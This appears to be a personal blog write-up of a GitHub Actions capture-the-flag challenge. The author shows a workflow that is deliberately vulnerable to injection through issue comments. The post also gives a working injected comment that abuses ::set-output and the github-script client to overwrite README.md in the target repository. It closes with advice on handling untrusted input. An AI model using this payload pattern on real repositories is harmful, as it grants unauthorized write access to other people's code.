Introduction
First of all, I’m aware it’s April 1st, I was thinking of some joke post but then I remembered that I have an actual serious post I’d like to write, so this is not any kind of joke.
The challenge & repo
A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository.
The repository had only one file, a github actions workflow .github/workflows/comment-logger.yml
.
This is the file:
name: log and process issue comments
on:
issue_comment:
types: [created]
jobs:
issue_comment:
name: log issue comment
runs-on: ubuntu-latest
steps:
- id: comment_log
name: log issue comment
uses: actions/github-script@v3
env:
COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}
with:
github-token: "deadc0de"
script: |
console.log(process.env.COMMENT_BODY)
return process.env.COMMENT_ID
result-encoding: string
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.COMMENT_ID }}
with:
script: |
const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
return ""
result-encoding: string
So how could that github action be taken advantage of to gain repository write access?
Reading up
Github had provided some useful reading material and the first thing I stumbled across was the untrusted input documentation. When using user input in an action, it’s important to not evaluate the value as code.
I quickly realised that this was being done here:COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}
And here: ${{ steps.comment_log.outputs.COMMENT_ID }}
How could I abuse that?
Arbitrary code execution
This line of code was particularly interesting:
const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
Surely if I could set the COMMENT_ID
value to some javascript code, that would be executed in the script.
The COMMENT_ID
output was not being set, but the previous script was using the comment body to log to the console: console.log(process.env.COMMENT_BODY)
Could this be used to set COMMENT_ID
?
Setting output
It turns out that you can set output by printing a special string to stdout. If I could print ::set-output name=OUTPUT_NAME::VALUE
then that would set OUTPUT_NAME
to VALUE
. Furthermore, because the COMMENT_BODY
variable was being set by a user’s arbitrary comment on an issue, I could essentially create a comment with that particular string, and force the output to be set.
I set to work creating an issue and trying to comment on it. The very first thing I tried was ::set-output name=COMMENT_ID::;
. That caused a syntax error to happen! This meant that the COMMENT_ID
output was indeed being set and executed in that const id = ...
line.
Taking advantage of the vulnerability
Since I could execute arbitrary javascript code, could I use that to gain write access to the repo? Well it turns out there was a great attack vector in that github action :
uses: actions/github-script@v3
The github-script action gives access to an authenticated github client, available at the github
variable! This meant that I essentially had access to a github client with write access to the repo! All that was left was figuring out the correct API calls to abuse it.
It took a while, but I eventually wrote a proof of concept that modified README.md
in the repository (which was the goal of the CTF):
(async () => {
const res = await github.repos.getContent({
"owner": "incrediblysecureinc",
path: "README.md",
repo: "incredibly-secure-errietta",
ref: "refs/heads/main",
});
await github.repos.createOrUpdateFileContents({
owner: "incrediblysecureinc",
repo: "incredibly-secure-errietta",
path: "README.md",
message: "editing",
content: "SSBkaWQgaXQ=", // base64 for "I did it"
branch: "main",
"committer.name": "Erry Kostala",
"committer.email": "YOUR_EMAIL",
"author.name": "Erry Kostala",
"author.email": "YOUR_EMAIL",
"sha": res.data.sha
});
})();
Now I just needed to make it fit in the set-output
line so I could make it an issue comment.
This was the final issue comment:
::set-output name=COMMENT_ID::1;(async()=>{const e=await github.repos.getContent({owner:"incrediblysecureinc",path:"README.md",repo:"incredibly-secure-errietta",ref:"refs/heads/main"});await github.repos.createOrUpdateFileContents({owner:"incrediblysecureinc",repo:"incredibly-secure-errietta",path:"README.md",message:"editing",content:"SSBkaWQgaXQ=",branch:"main","committer.name":"Erry Kostala","committer.email":"email","author.name":"Erry Kostala","author.email":"email",sha:e.data.sha})})();
With this well-crafted comment, I watched the github action run
And.. success! I exploited a vulnerability to arbitrarily change the contents of a file in the repo, all by just commenting on an issue!
Conclusion
I think this CTF illustrates how important it is to be extremely careful with user input. Never trust arbitrary input in your scripts, use methods to escape it and think twice as to whether it’s actually necessary to use that input in your code. The github actions untrusted input article also has some remediation suggestions to prevent this from happening.